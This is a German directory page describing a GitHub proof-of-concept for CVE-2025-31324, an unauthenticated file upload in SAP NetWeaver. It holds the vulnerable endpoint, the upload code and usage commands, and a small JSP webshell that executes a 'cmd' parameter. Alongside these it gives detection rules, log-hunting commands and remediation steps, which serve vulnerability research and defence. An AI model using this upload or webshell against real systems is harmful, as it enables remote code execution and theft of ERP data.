Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-31324 — Proof-of-Concept-Exploit für CVE-2025-31324, einen nicht authentifizierten Datei-Upload in SAP NetWeaver Visual Composer, mit Erkennungshinweisen, MITRE-Zuordnung und Behebungsmaßnahmen. | Kitploit
Tools/GitHubGitHub/hkenzokimura/cve-2025-31324
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed TeamingIncident Response
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

Proof-of-Concept-Exploit für CVE-2025-31324, einen nicht authentifizierten Datei-Upload in SAP NetWeaver Visual Composer, mit Erkennungshinweisen, MITRE-Zuordnung und Behebungsmaßnahmen.

Repository anzeigen
vor 5h 23mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer Nicht authentifizierter Datei-Upload

Typ: Proof of Concept — Schwachstellenforschung CVE: CVE-2025-31324 CVSS: 10.0 Kritisch (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Gepatched — SAP Security Note 3594142 + 3604119 Zur CISA KEV hinzugefügt: Mai 2025

⚠️ Dieser PoC verwendet eine harmlose JSP-Datei ("Hello World"), um die Angriffsfläche zu validieren, ohne bösartigen Code auszuführen. Ausschließliche Verwendung in autorisierten Umgebungen für Pentesting und die Entwicklung von Erkennungsregeln.

Entwickelt von: HKK


$ cat ./vulnerability_summary.txt

Die Schwachstelle CVE-2025-31324 liegt in der Komponente Visual Composer Metadata Uploader des SAP NetWeaver AS Java — ein Fehler der fehlenden Autorisierungsprüfung, der es jedem nicht authentifizierten Angreifer ermöglicht, POST-Anfragen an den Endpunkt /developmentserver/metadatauploader zu senden, was zu einem uneingeschränkten Upload beliebiger Dateien führt.

Die CVE betrifft speziell das SAP NetWeaver Visual Composer Framework Version 7.50, mit einem CVSS-Score von 10.0 — dem maximal möglichen.

Bedrohungsakteure haben diese Schwachstelle von Januar bis Mai 2025 aktiv ausgenutzt und persistente Webshells in hunderten von Systemen weltweit implantiert.


$ cat ./impact.txt

Da es mit erhöhten Privilegien arbeitet und sich in der Nähe von ERP-Daten befindet, ist die laterale Bewegung zu SAP-ABAP-Stacks oder verbundenen Datenbanken nach der Ausnutzung trivial.

Die vollständige Ausnutzungskette bei realen Angriffen:

root@kitploit:~
Upload JSP (CVE-2025-31324)
    → Persistente Webshell auf dem Server
        → RCE als SAP-Prozess (hohe Privilegien)
            → Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)
                → Laterale Bewegung zu ABAP / DB
                    → Deployment von C2-Frameworks (z. B. Brute Ratel)

$ cat ./architecture.txt

Wie der verwundbare Endpunkt funktioniert

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT-FLOW                              │
│                                                                         │
│  ANGREIFER                    SAP NETWEAVER AS JAVA                     │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: JSP/WAR/beliebige Datei ──────────► │  Metadata Uploader  │    │
│  (ohne Authentifizierung)                   │                     │    │
│                                             │  ❌ Keine Prüfung    │    │
│                                             │     der Auth        │    │
│                                             │  ❌ Keine Validierung│    │
│                                             │     der Endung      │    │
│                                             │  ❌ Keine Bereinigung│    │
│                                             │     des Inhalts     │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             Datei gespeichert unter:   │
│                                             /irj/root/ oder ähnlich    │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (harmloser PoC)                                         │
│  → Webshell (echter Exploit)                                           │
└─────────────────────────────────────────────────────────────────────────┘

Warum existiert der Endpunkt?

Der /developmentserver/metadatauploader ist Teil des SAP Visual Composer — eines Low-Code-Entwicklungstools für Business-Analysten, um SAP-Anwendungen ohne Java-Code zu erstellen. Der Endpunkt wurde entwickelt, um während der Entwicklung Metadatenmodelle zu empfangen. Obwohl die Komponente in der Standardkonfiguration von NetWeaver nicht aktiviert ist, berichtete Onapsis, dass sie in Produktionsumgebungen weit verbreitet aktiviert ist.


$ cat ./design_decisions.md

1. Wahl des Payloads — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

Warum JSP und nicht ein anderes Format?

Der SAP NetWeaver AS Java führt eine JVM aus — .jsp-Dateien werden direkt vom Servlet-Container (eingebetteter Apache Tomcat) ohne vorherige Kompilierung interpretiert. Das macht JSP zum idealen Format für Webshells in Java-Umgebungen.

Die Wahl des harmlosen Inhalts ("Hello World") ist für den PoC bewusst getroffen:

  • Validiert die verwundbare Angriffsfläche, ohne bösartigen Code auszuführen
  • Bestätigt den Upload (HTTP-Statuscode 200 + Datei per GET zugänglich)
  • Sauberer forensischer Nachweis für den Pentest-Bericht

Bei realer Ausnutzung wäre der Inhalt eine JSP-Webshell mit Befehlsausführung, z. B.:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — Warum dieser Content-Type?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

Der Endpunkt erwartet eine multipart/form-data-Anfrage — dasselbe Format, das von HTML-Formularen für Datei-Uploads verwendet wird. Dies ist im ursprünglichen Design des Visual Composer beabsichtigt (Upload von Entwicklungsmodellen).

Die Bibliothek requests erstellt die Multipart-Grenzen automatisch, wenn files= übergeben wird — der Header Content-Type: multipart/form-data; boundary=... wird intern generiert.

verify=False: Deaktiviert die TLS-Zertifikatsvalidierung — notwendig, da SAP-Umgebungen häufig selbstsignierte Zertifikate verwenden. In der Produktion verify='/pfad/zu/ca-bundle.crt' verwenden.

3. Endpunkt-Pfad — Anatomie der URL

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
KomponenteBedeutung
:50201Standardport des SAP ICM (Internet Communication Manager) HTTPS
/developmentserver/Entwicklungs-Servlet des Visual Composer
metadatauploaderSpezifischer Endpunkt für den Metadaten-Upload
CONTENTTYPE=MODELVom Endpunkt erwarteter Inhaltstyp
CLIENT=1SAP-Mandant — 000, 100, 001 sind üblich

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # Ausnutzung des Endpunkts /developmentserver/metadatauploader
            # ohne Authentifizierung über HTTP POST

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP-Webshell hochgeladen → vom Servlet-Container (Tomcat) ausgeführt

tactic: Persistence
  - T1505.003  # Web Shell als Persistenzmechanismus
               # JSP-Datei bleibt über Neustarts hinweg im Dateisystem des Servers

tactic: Defense Evasion
  - T1036      # Masquerading
               # Webshells benannt wie legitime SAP-Dateien (z. B. metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # Nach RCE: Prozesse, Benutzer, SAP-Pfade aufzählen

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # Zugriff auf den ABAP-Stack, verbundene Datenbanken über RCE

tactic: Collection
  - T1005      # Data from Local System
               # Direkter Zugriff auf ERP-Daten (Finanzen, HR, Supply Chain)

$ cat ./affected_versions.txt

root@kitploit:~
Produkt:  SAP NetWeaver Application Server Java
Komponente: Visual Composer Framework
Version:   7.50 (alle Builds vor dem Patch von April/Mai 2025)

Patches:
  SSN 3594142 → Erster Patch (April 2025) — entschärft den Datei-Upload
  SSN 3604119 → Root-Cause-Fix über CVE-2025-42999 (Mai 2025) — adressiert die Ursache
  SSN 3578900, 3620498, 3621771, 3634501 → Ergänzende Härtungs-Notes

CISA KEV: Sowohl CVE-2025-31324 als auch CVE-2025-42999 wurden zum Katalog hinzugefügt

$ cat ./detection_opportunities.md

Erkennung des Exploits (während des Angriffs)

root@kitploit:~
# Regel: Nicht authentifizierter POST an den Metadata-Uploader-Endpunkt
# Quelle: SAP Web Dispatcher / ICM-Zugriffsprotokoll

Bedingung:
  - method: POST
  - uri_path ENTHÄLT: /developmentserver/metadatauploader
  - auth_header: FEHLT
  - body_content_type: multipart/form-data

Schweregrad: KRITISCH — sofort untersuchen
root@kitploit:~
# SAP-ICM-Protokoll — verdächtiges Muster:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Größe: 1337 | Auth: KEINE | IP: x.x.x.x

Webshell-Erkennung (nach Kompromittierung)

root@kitploit:~
# Regel: GET auf kürzlich erstellte .jsp-Datei außerhalb legitimer SAP-Pfade
Bedingung:
  - method: GET
  - uri_path ENTSPRICHT: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NICHT_IN: [Liste bekannter legitimer JSPs]
root@kitploit:~
# Verdächtiger Kindprozess der SAP-JVM
# Quelle: Sysmon / EDR-Prozesserstellung
Bedingung:
  - parent_process: java.exe oder jstart.exe
  - child_process: cmd.exe ODER powershell.exe ODER sh ODER bash
  - command_line ENTHÄLT: -c ODER .socket ODER .call( ODER .spawn(

Red Canary dokumentierte das folgende Erkennungsmuster für die Ausnutzung von CVE-2025-31324 in Linux-Umgebungen: python-Prozess mit dem Argument -c kombiniert mit .socket und .call( oder .spawn( — ein Hinweis auf eine Reverse Shell nach der Webshell.

Jagd in SAP-Protokollen

root@kitploit:~
# Suche nach POST-Anfragen an den verwundbaren Endpunkt in den letzten 90 Tagen
# Protokollverzeichnis: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# Kürzlich erstellte JSPs im Web-Verzeichnis auflisten
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
PRIORITÄT: KRITISCH — Sofortiger Patch

1. Prüfen, ob die Komponente aktiv ist:
   NWA → Configuration → Infrastructure → Java System Properties
   Suchen nach: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. Wenn nicht benötigt → Visual Composer DEAKTIVIEREN:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. Pflicht-Patches anwenden (in dieser Reihenfolge):
   SSN 3594142  ← kritisch (Datei-Upload)
   SSN 3604119  ← Root Cause (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (zusätzliche Härtung)

4. JVM-Serial-Filter konfigurieren (nach dem Patch):
   NWA → JVM Parameters → Filter für bösartige Klassen hinzufügen

5. Netzwerkzugriff auf den Endpunkt im Web Dispatcher / der Firewall einschränken:
   BLOCKIEREN: /developmentserver/* für externe IPs
   ERLAUBEN: nur autorisierte Entwicklungshosts

6. IOCs prüfen — nach vor dem Patch implantierten Webshells suchen:
   ICM-Protokolle seit Januar 2025 analysieren
   Nach .jsp-Dateien mit verdächtigem Inhalt in /irj/ suchen

$ cat ./usage.sh

root@kitploit:~
# Abhängigkeit installieren
pip install requests

# URL im Skript vor der Ausführung bearbeiten:
# url = "https://<ihr-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# Ausführen
python cve_2025_31324_poc.py

# Prüfen, ob der Upload funktioniert hat (Datei sollte zugänglich sein)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Erwartete Antwort, wenn verwundbar: HTML mit "Hello World"
# Erwartete Antwort, wenn gepatcht: 404 oder 403

$ cat ./timeline.txt

root@kitploit:~
Jan 2025      Beginn der aktiven Ausnutzung in-the-wild (retrospektiv erkannt)
24. Apr 2025  SAP veröffentlicht CVE-2025-31324 (CVSS 10.0) + SSN 3594142
28. Apr 2025  CISA nimmt sie in den Known Exploited Vulnerabilities Catalog auf
29. Apr 2025  Rapid7, Qualys, Red Canary veröffentlichen technische Analysen
07. Mai 2025  Onapsis + Mandiant (Google Cloud) veröffentlichen gemeinsames Briefing
13. Mai 2025  SAP veröffentlicht SSN 3604119 (Root Cause über CVE-2025-42999, CVSS 9.1)
15. Mai 2025  CISA nimmt CVE-2025-42999 in den KEV-Katalog auf
20. Mai 2025  CISA-Frist für das Patchen in US-Bundessystemen
25. Jun 2025  Unit 42 beendet die aktive Überwachung der Kampagne

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] Fehlende Auth bei "Entwicklungs"-Endpunkten ist ein klassischer, unterschätzter Vektor
[+] CVSS 10.0 bedeutet: keine Auth + Netzwerk + volles RCE — das kritischste Triple möglich
[+] Visual Composer ist nicht Standard, war aber in der Produktion weit verbreitet aktiv — Risiko durch Schattenfunktionen
[+] JSP als Webshell ist besonders heimlich: keine Kompilierung, direkt vom Container ausgeführt
[+] Bedrohungsakteure nutzten es über 3+ Monate vor der öffentlichen Offenlegung aus — SOC-Erkennung ist entscheidend
[-] verify=False im PoC — bei echten Pentests das selbstsignierte Zertifikat dokumentieren und verify=Pfad verwenden
[-] CLIENT=1 fest codiert — die Produktion kann 000, 100, 200 verwenden; vorher aufzählen
[-] PoC prüft nicht, ob die Datei nach dem Upload zugänglich ist — GET zur Bestätigung hinzufügen
[→] Verbesserungen: argparse für Host/Port/Client, automatische Prüfung nach dem Upload, JSON-Ausgabe

CVE-Forschung · CVSS 10.0 · Gepatched April/Mai 2025 · CISA KEV · Nur für autorisierte Tests

Tool herunterladen